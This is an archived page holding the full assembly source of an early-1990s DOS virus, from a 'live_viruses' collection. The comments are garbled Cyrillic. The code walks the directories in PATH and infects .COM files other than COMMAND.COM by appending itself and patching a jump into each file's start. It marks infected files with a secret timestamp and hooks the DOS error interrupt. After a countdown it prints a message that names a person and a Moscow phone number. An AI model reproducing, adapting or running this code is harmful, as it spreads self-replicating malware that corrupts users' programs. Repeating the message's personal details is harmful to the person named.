home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / loza5.asm < prev    next >
Assembly Source File  |  1990-12-10  |  13KB  |  458 lines

  1. code    segment
  2.         assume  cs:code, ds:code
  3.  
  4.         org     100h
  5.  
  6. c648m   proc    far
  7. start:
  8.         jmp     vir_start
  9.         nop
  10.         mov     ah,9
  11.         mov     dx, offset murlo
  12.         int 21h
  13.         mov     ax,4c00
  14.         int     21
  15. murlo   db      'é¿απß ñ½∩ Γ«ó.﫺¿¡ß¬«ú«',0dh,0ah,'$'
  16.  
  17. ; ß¼ÑΘÑ¡¿∩ »ÑαѼѡ¡δσ
  18. first_bytes     equ     first-vir_data
  19. time            equ     time_file - vir_data
  20. date            equ     date_file - vir_data
  21. address         equ     addr_vir - vir_data
  22. attrib          equ     attib_file - vir_data
  23. vir_dta         equ     new_dta - vir_data
  24. path            equ     pat_word - vir_data
  25. buferok         equ     b_ok - vir_data
  26. full_path       equ     f_path - vir_data
  27. comfile         equ     file_typ - vir_data
  28. bufer1          equ     b1  - vir_data
  29. jumpik          equ     jmp_near - vir_data
  30. reklama         equ     rek_text - vir_data
  31. counter         equ     count - vir_data
  32. cur_date        equ     current_date - vir_data
  33. not_all_str     equ     not_allowed - vir_data
  34. sys_vect        equ     int24_sys - vir_data
  35. int_24          equ     int_24_p - vir_data
  36.  
  37. dta_time        equ     vir_dta + 16h   ; óαѼ∩ ß«ºñá¡¿∩ Σá⌐½á
  38. dta_size        equ     vir_dta + 1ah   ; αẼÑα Σá⌐½á
  39. dta_name        equ     vir_dta + 1eh   ; ¿¼∩ Σá⌐½á
  40.  
  41. SECRET_TIME     equ     1dh             ;¿¡ñ¿¬áΓ«α ¿¡Σ¿µ¿α«óá¡¿∩
  42. ;
  43. ;--------------------------------
  44. ;
  45. vir_length      equ     vir_end - vir_start + 1
  46. max_len         equ     0feeh - vir_length
  47. min_len         equ     vir_length + 25h
  48. code_shift      equ     vir_data - vir_start
  49. ;
  50.  
  51. VIRUS   Proc    Near
  52.  
  53. Vir_start:
  54.  
  55. Cop_loop:
  56.         mov     dx,offset Vir_data
  57.         cld
  58.         mov     si,dx
  59.         add     si,First_bytes
  60.         mov     di,100h ; ¡áτá½∞¡δ⌐ áñαÑß COM - »α«úαá¼¼δ
  61.         movsw           ; µ¿¬½ ºá⌐¼ÑΓ í«½∞ΦÑ »á¼∩Γ¿
  62.         movsw           ; 2 ß½«óá íδßΓαÑÑ 4 íá⌐Γ !
  63.         mov     si,dx   ; ó««ßΓá¡áó½¿óáѼ º«¡π ñá¡¡δσ
  64.         ;
  65.         ;
  66.         ; óÑαß¿ε DOS ¡Ñ »α«óÑα∩Ѽ - ¡¿ªÑ 3.1 ßÑ⌐τáß ¡¿¬Γ« ¡Ñ
  67.         ; ¿ß»«½∞ºπÑΓ !
  68.         ;
  69.         mov     dx,Vir_DTA ; πßΓá¡«ó¬á ¡«ó«ú« º¡áτÑ¡¿∩ DTA
  70.         add     dx,si
  71.         mov     ah,1Ah
  72.         int     21
  73.         ;
  74.         ; πßΓá¡«ó¬á óÑ¬Γ«αá 24H
  75.         ;
  76.         push    es
  77.         mov     ax,3524h  ; ß«σαá¡∩Ѽ ß¿ßΓѼ¡πε
  78.         int     21        ; ¡áßΓα«⌐¬π
  79.         mov     ax,es
  80.         mov     [si+sys_vect],ax
  81.         mov     [si+sys_vect+2],bx
  82.         ;
  83.         mov     dx,int_24
  84.         add     dx,si
  85.         mov     ax,2524h  ; ¿ πßΓá¡áó½¿óáѼ ¡áΦ
  86.         int     21
  87.         ;
  88.         ; πßΓá¡«ó¬á ßÑú¼Ñ¡Γá  ES ¡á «¬απªÑ¡¿Ñ DOS
  89.         ;
  90.         push    si      ; ß«σαá¡∩Ѽ ßÑú¼Ñ¡Γδ, ¡Ñ«íσ«ñ¿¼δÑ
  91.                         ; ñ½∩ ñá½∞¡Ñ⌐ΦÑ⌐ αáí«Γδ
  92.         mov     es,ds:2ch  ; ß¼ÑΘÑ¡¿Ñ ß½«óá «¬απªÑ¡¿∩
  93.         mov     di,0
  94. Scan_envir:
  95.         pop     si      ; ¡áßΓα«⌐¬á ß¼ÑΘÑ¡¿∩ ñá¡¡δσ ÇÉÅ
  96.         push    si
  97.         add     si,path
  98.         lodsb
  99.         mov     cx,8000h
  100.         repne   scasb
  101.         mov     cx,4
  102. Scan_path:
  103.         lodsb
  104.         scasb
  105.         jnz     Scan_envir ; Ñß½¿ ¡Ñ ß«ó»áñáÑΓ - »«óΓ«α á¡á½¿ºá
  106.         loop    scan_path  ; »α«óÑα¬á óßÑú« ß½«óá
  107.         ;
  108.         ; ö¿¬ß¿απѼ »«½«ªÑ¡¿Ñ π¬áºáΓѽ∩ PATH
  109.         ;
  110.         pop     si
  111.         pop     es
  112.         mov     [si+buferok],di
  113.         mov     bx,si
  114.         add     si,full_path
  115.         mov     di,si
  116.         jmp     short find_first_file
  117.         ;
  118.         ; «»αÑñѽ∩Ѽ ß»¿ß«¬ ¬áΓὫú«ó, »«ñ½ÑªáΘ¿σ
  119.         ; ß¬á¡¿α«óá¡¿ε
  120. dir_search:
  121.         cmp     word ptr [si+buferok],0
  122.         jne     path_no_empty
  123.         jmp     check_fire
  124.         ; Ñß½¿ ¿¡Σ¿µ¿α«óá¡δ óßÑ ñ«ßΓπ»¡δÑ
  125.         ; τÑαѺ PATH Σá⌐½δ - «ú«¡∞!
  126. path_no_empty:
  127.         push    ds
  128.         push    si
  129.         mov     ds,es:2ch
  130.         mov     di,si           ; πßΓá¡«ó¬á ß¼ÑΘÑ¡¿∩
  131.         mov     si,es:[di+buferok]
  132.         add     di,full_path
  133. check1:                         ; ¬«»¿απѼ  «ñ¿¡ ¿º ¬áΓὫú«ó PATH
  134.                                 ; ó αáí«τ¿⌐ íπΣÑα
  135.         lodsb
  136.         cmp     al,';'          ; αáºñѽ¿Γѽ∞ ¬áΓὫú«ó
  137.         je      fix_position
  138.         cmp     al,0            ; ¬«¡Ñµ «»¿ßá¡¿∩
  139.         je      end_position
  140.         stosb
  141.         jmp     short check1    ; »α«ñ«½ªáѼ ...
  142. end_position:
  143.         mov     si,0
  144. fix_position:
  145.         pop     bx
  146.         pop     ds
  147.         mov     [bx+buferok],si
  148.         cmp     byte ptr [di-1],'\'
  149.         je      find_first_file
  150.         mov     al,'\'
  151.         stosb
  152.         ;
  153.         ; ¡á⌐Γ¿ »Ñαóδ⌐ Σá⌐½ ó ßΣ«α¼¿α«óá¡¡«¼ ¬áΓὫúÑ
  154.         ;
  155. find_first_file:
  156.         mov     [bx+bufer1],di
  157.         mov     si,bx
  158.         add     si,comfile
  159.         mov     cx,6
  160.         rep     movsb
  161.         mov     si,bx
  162.         mov     ah,4eh
  163.         mov     dx,full_path
  164.         add     dx,si
  165.         mov     cx,3            ; áΓα¿íπΓδ
  166.         int     21
  167.         jmp     short search_anal
  168. find_next_file:
  169.         mov     ah,4fh
  170.         int     21
  171. search_anal:
  172.         jnc     search_ok
  173.         jmp     short dir_search
  174. search_ok:                      ; »α«óÑα¬á óαѼѡ¿ ß«ºñá¡¿∩
  175.         mov     ax,word ptr [si+dta_time]
  176.         and     al,secret_time
  177.         cmp     al,secret_time
  178.         je      find_next_file  ; Ñß½¿ Σá⌐½ πªÑ »«αáªÑ¡...
  179.         ;
  180.         ; »α«óÑα¬á αẼÑα«ó »«αáªáѼ«ú« Σá⌐½á
  181.         ;
  182.         cmp     word ptr [si+dta_size], max_len
  183.         ja      find_next_file  ; ß½¿Φ¬«¼ ñ½¿¡¡δ⌐
  184.         cmp     word ptr [si+dta_size], min_len
  185.         jb      find_next_file  ; ß½¿Φ¬«¼ ¬«α«Γ¬¿⌐
  186.                                 ; ó«º¼«ª¡« - ñ஧«Σ¿½á !!!
  187.         mov     di,[si+bufer1]
  188.         push    si
  189.         add     si,dta_name
  190. Copy_name:
  191.         lodsb
  192.         stosb
  193.         cmp     al,0
  194.         jne     copy_name
  195.         pop     si
  196.         ;
  197.         ;   »α«óÑα¿Γ∞, ¡Ñ »δΓáѼß∩ ½¿ ¼δ ¿¡Σ¿µ¿α«óáΓ∞
  198.         ;   COMMAND.COM ¿ Ñß½¿ ñá, Γ« »ÑαÑ⌐Γ¿ ¬
  199.         ;   ß½ÑñπεΘѼπ Σá⌐½π
  200.         ;
  201.         mov     dx,si
  202.         mov     di,si
  203.         add     di,full_path    ;ºñÑß∞ - »«½¡«Ñ ¿¼∩ Σá⌐½á
  204. Scan_com:
  205.         mov     si,dx
  206.         add     si,not_all_str  ;π¬áºáΓѽ∞ ¡á ßΓ᫬π ß
  207.                                 ;Φáí½«¡«¼ COMMAND.COM
  208.         lodsb
  209.         mov     cx,65d          ;ñ½¿¡á íπΣÑαá ¿¼Ñ¡¿ Σá⌐½á
  210.         repne   scasb
  211.         jcxz    short name_ok
  212.         mov     cx,10d          ;ñ½¿¡á Φáí½«¡á »«¿ß¬á
  213. Scan_word:
  214.         lodsb
  215.         scasb
  216.         jnz     scan_com
  217.         loop    scan_word
  218.         mov     si,dx
  219.         jcxz    find_next_file
  220. name_ok:
  221.         mov     si,dx
  222.         ;
  223.         ; »«½πτ¿Γ∞ ΓѬπΘ¿Ñ áΓα¿íπΓδ
  224.         ;
  225.         mov     ax,4300h
  226.         mov     dx,full_path
  227.         add     dx,si
  228.         int     21
  229.         ;
  230.         ; πßΓá¡«ó¬á ¡Ñ«íσ«ñ¿¼δσ ñ½∩ αáí«Γδ ÇÉÅ
  231.         ; º¡áτÑ¡¿⌐ áΓ¿íπΓ«ó Σá⌐½«ó
  232.     ;
  233.         mov     [si+attrib],cx
  234.         mov     ax,4301h
  235.         and     cx,0fffeh          ; πí¿αáѼ READ-ONLY
  236.         mov     dx,full_path
  237.         add     dx,si
  238.         int     21
  239.         jc      find_next_file     ; Ñß½¿ ñ¿ß¬ ºáΘ¿ΘÑ¡ «Γ ºá»¿ß¿
  240.         ;
  241.         ; «Γ¬αδóáѼ Σá⌐½ ñ½∩ τΓÑ¡¿∩/ºá»¿ß¿
  242.         ;
  243.         mov     ax,3d02
  244.         mov     dx,full_path
  245.         add     dx,si
  246.         int     21
  247.         jnc     next_step
  248.         jmp     restore_attrib
  249. next_step:
  250.         mov     bx,ax
  251.         mov     ax,5700h
  252.         int     21              ; »«½πτáѼ ñáΓπ/óαѼ∩
  253.         ;
  254.         mov     [si+time],cx
  255.         mov     [si+date],dx
  256.         ;
  257.         ;       »α«óÑα¬á πß½«ó¿∩ ó¬½ετÑ¡¿∩ ÇÉÅ
  258.         ;       ¡Ñ ñ«»π߬áÑΓß∩ á¬Γ¿ó¿ºáµ¼∩ ó ñÑ¡∞ ºáαáªÑ¡¿∩
  259.         ;
  260. check_fire:
  261.         mov     ah,2ah          ; »«½πτ¿Γ∞ º¡áτÑ¡¿Ñ ΓѬπΘÑ⌐ ñáΓδ
  262.         int     21h
  263.         cmp     dl,[si+cur_date]
  264.         jnz     act_vir
  265. a1:     jmp     restore_attrib
  266. act_vir:
  267.         mov     [si+cur_date],dl ; ß½ÑñπεΘÑÑ »«¬«½Ñ¡¿Ñ á¬Γ¿ó¿º¿απÑΓß∩
  268.                                  ; Γ«½∞¬« ¡á ß½ÑñπεΘ¿⌐ ñÑ¡∞
  269.         ;        »α«óÑα¬á πß½«ó¿∩ á¬Γ¿óᵿ¿
  270.         ;        µÑ½Ñó«⌐ Σπ¡¬µ¿¿ ÇÉÅ
  271.         ;
  272.         mov     al,[si+counter]  ; ßτÑΓτ¿¬ «ñ¡«íá⌐Γ«óδ⌐
  273.         dec     al               ; τ¿ß½« »«¬«½Ñ¡¿⌐ σαá¡¿Γß∩
  274.         mov     [si+counter],al  ; ó »ÑαѼѡ¡«⌐ COUNT
  275.         ;
  276.         jnz     infection
  277.         ;
  278.         ;  φΣΣѬΓδ ....
  279.         ;
  280. FIRE:
  281.         mov     ah,9
  282.         mov     dx,si
  283.         add     dx,reklama ; ÇÉÅ φ¬ß»Ñα¿¼Ñ¡Γá½∞¡δ⌐ íѺ
  284.         int     21              ; »«óαѪñÑ¡¿∩ ñá¡¡δσ
  285.         mov     ah,1
  286.         int     21
  287.         cmp     word ptr [si+buferok],0
  288.         je      a1
  289.         ;
  290. infection:
  291.         mov     ah,3fh
  292.         mov     cx,4
  293.         mov     dx,first_bytes  ; τ¿ΓáѼ »ÑαóδÑ íá⌐Γδ
  294.         add     dx,si
  295.         int     21
  296.         jc      end_of_process
  297.         cmp     ax,4
  298.         jne     end_of_process
  299.         ;
  300.         ; «»αÑñѽ∩Ѽ ñ½¿¡π »«αáªáѼ«ú« Σá⌐½á
  301.         ;
  302.         mov     ax,4202h
  303.         xor     cx,cx
  304.         mov     dx,cx
  305.         int     21
  306.         jc      end_of_process
  307.         mov     cx,ax           ; ñ½¿¡á »α«úαá¼¼δ
  308.         sub     ax,3
  309.         mov     [si+address],ax
  310.         ;
  311.         ; «»αÑñѽѡ¿Ñ ¡áτὫ ß¼ÑΘÑ¡¿∩ ñá¡¡δσ ÇÉÅ
  312.         ; ¿ πßΓá¡«ó¬á Ñú« ó ¡áτὫ ÇÉÅ
  313.         ;
  314.         add     cx,offset vir_data - vir_start + 100h
  315.         mov     di,si
  316.         sub     di, vir_data - cop_loop -1
  317.         mov     [di],cx
  318.         ;
  319.         ; ºá»¿ß∞ ÇÉÅ ó »«αáªáѼπε »α«úαá¼¼π
  320.         ;
  321.         mov     ah,40h
  322.         mov     cx,Vir_length
  323.         mov     dx,si
  324.         sub     dx,Code_shift
  325.         int     21h
  326.         jc      end_of_process
  327.         cmp     ax,Vir_length
  328.         jne     end_of_process
  329.         ;
  330.         ;       »ÑαѼ«Γ¬á Σá⌐½á ó ¡áτὫ
  331.         ;
  332.         mov     ax,4200h
  333.         xor     cx,cx
  334.         mov     dx,cx
  335.         int     21h
  336.         jc      end_of_process
  337.         ;
  338.         ; ºá»¿ß∞ ó ¡áτὫ Σá⌐½á ¬«¼á¡ñδ »ÑαÑñáτ¿
  339.         ; π»αáó½Ñ¡¿∩ ¡á ÇÉÅ
  340.         ;
  341.         mov     ah,40h
  342.         mov     cx,4
  343.         mov     dx,si
  344.         add     dx,jumpik
  345.         int     21h
  346. end_of_process:
  347.         ;
  348.         ;       πßΓá¡«ó¬á ¿¡ñ¿¬áΓ«αá ºáαáªÑ¡¿∩ Σá⌐½á
  349.         ;
  350.         mov     dx,[si+date]
  351.         mov     cx,[si+time]
  352.         and     cx,0ffe0h
  353.         or      cx,secret_time
  354.         mov     ax,5701h
  355.         int     21
  356.         ;
  357.         ; ºá¬αδóáѼ Σá⌐½
  358.         ;
  359.         mov     ah,3eh
  360.         int     21h
  361. restore_attrib:
  362.         mov     ax,4301h
  363.         mov     cx,[si+attrib]
  364.         mov     dx,full_path
  365.         add     dx,si
  366.         int     21
  367.         ;
  368. restore_DTA:
  369.         push    ds
  370.         mov     ah,1ah
  371.         mov     dx,80
  372.         int     21
  373.         ; ó«ßßΓá¡áó½¿óáѼ ß¿ßΓѼ¡δ⌐ «íαáí«Γτ¿¬ «Φ¿í«¬
  374.         mov     ax,[si+sys_vect]
  375.         mov     ds,ax
  376.         mov     dx,[si+sys_vect+2]
  377.         mov     ax,2524h
  378.         int     21h
  379.         pop     ds
  380.         ;
  381.         xor     ax,ax
  382.         xor     bx,bx
  383.         xor     si,si
  384.         mov     di,100h
  385.         push    di
  386.         xor     di,di
  387.         ret                     ; »ÑαÑñáτá π»αáó½Ñ¡¿∩ »α«úαá¼¼Ñ-¡«ß¿Γѽε
  388. ;
  389. ; »α«µÑñπαá «íαáí«Γ¬¿ »αÑαδóá¡¿∩ 24h
  390. ;  - ¬α¿Γ¿τÑ߬á∩ «Φ¿í¬á -
  391. int_24_p        equ     $
  392.  
  393. INT24:  mov     al,3            ; »ÑαÑñáΓ∞ «íαáí«Γ¬π ó DOS
  394.         iret
  395. ;
  396. ;-----------------------------
  397. ; «í½áßΓ∞ ñá¡¡δσ ÇÉÅ
  398. ;-----------------------------
  399. Vir_data        equ     $
  400.  
  401. INT24_SYS       dw      0,0
  402.  
  403. TIME_FILE       dw      0       ; óαѼ∩ »«αáªáѼ«ú« Σá⌐½á
  404. DATE_FILE       dw      0       ; ñáΓá  ---" -----" -----
  405.  
  406. REK_TEXT        db      0dh,0ah
  407.                 db      'ƒ, ¬áªÑΓß∩, »«ñσóáΓ¿½á ¬á¬πε-Γ« ºáαáºπ...',
  408.                 db      0dh,0ah
  409.                 db      'æα«τ¡« ºó«¡¿ΓѠ伿Γα¿ε ì¿¬«½áÑó¿τπ ï«º¿¡ß¬«¼π'
  410.                 db      0dh,0ah
  411.                 db      '»« ΓѽÑΣ«¡π 292-40-76 (î«ß¬óá) ¿ »α¿«íαÑΓ¿ΓÑ'
  412.                 db      0dh,0ah
  413.                 db      '         ÅÉÄâÉÇîîô AIDSTEST !!!'
  414.                 db      7,0dh,0ah,0ah,'$'
  415.  
  416. ATTIB_FILE      dw      0       ; áΓα¿íπΓδ
  417.  
  418. COUNT           db      10d     ; ßτÑΓτ¿¬ »«¬«½Ñ¡¿⌐ ÇÉÅ ñ« ¡áτá½á
  419.                                 ; á¬Γ¿óᵿ¿ µÑ½Ñó«⌐ Σπ¡¬µ¿¿
  420.  
  421. FIRST           dw     9090,9090; »ÑαóδÑ íá⌐Γδ »α«úαá¼¼δ
  422.  
  423. JMP_NEAR        db      0E9h    ; ¬«¼á¡ñá ó¡πΓα¿ßÑú¼Ñ¡Γ¡«ú« »ÑαÑσ«ñá
  424. ADDR_VIR        dw      0       ; áñαÑß ¡áτá½á ÇÉÅ é ¬«¼á¡ñÑ JMP
  425.                 hlt             ; »αÑñ«σαá¡¿Γѽ∞ «Γ á¡Γ¿ó¿απß«ó
  426.  
  427. FILE_TYP        db      '*.com' ; Φáí½«¡ ñ½∩ »«¿ß¬á Σá⌐½«ó ªÑαΓó
  428.                 db      0
  429.  
  430. PAT_WORD        db      'PATH=' ; Φáí½«¡ ñ½∩ »«¿ß¬á ó ßÑú¼Ñ¡ΓÑ ßαÑñδ
  431.  
  432. B_OK            dw      0       ; αáí«τ¿Ñ ∩τÑ⌐¬¿
  433. B1              dw      0
  434.  
  435. ; »«ß¬«½∞¬π ¿º¼Ñ¡Ñ¡¿Ñ Σá⌐½á COMMAND.COM ó« ¼¡«ú¿σ ß¿ßΓѼáσ
  436. ; ºáΘ¿Γδ Σ¿¬ß¿απÑΓß∩ - Ñú« ºáαáªáΓ∞ ¡Ñ ß½ÑñπÑΓ !
  437.  
  438. NOT_ALLOWED     db      'COMMAND.COM'
  439.  
  440. CURRENT_DATE    db      1       ; τ¿ß½« ¼Ñß∩µá - ñáΓá ºáαáªÑ¡¿∩
  441.  
  442. vir_end        equ  $
  443.  
  444. F_PATH         db      65d dup  (20) ; íπΣÑα ñ½∩ »«½¡«ú« ¿¼Ñ¡¿ Σá⌐½á
  445.  
  446. NEW_DTA        db     2ch  dup  (0)  ; ¡«óδ⌐ DTA, πßΓá¡áó½¿óáѼδ⌐ ÇÉÅ
  447.  
  448.  
  449. ;
  450.            ; ñ½∩ ñá½∞¡Ñ⌐ΦÑ⌐ αáí«Γδ
  451.  
  452. VIRUS           Endp
  453.  
  454. c648m           endp
  455.  
  456. code    ends
  457.         end     C648M
  458.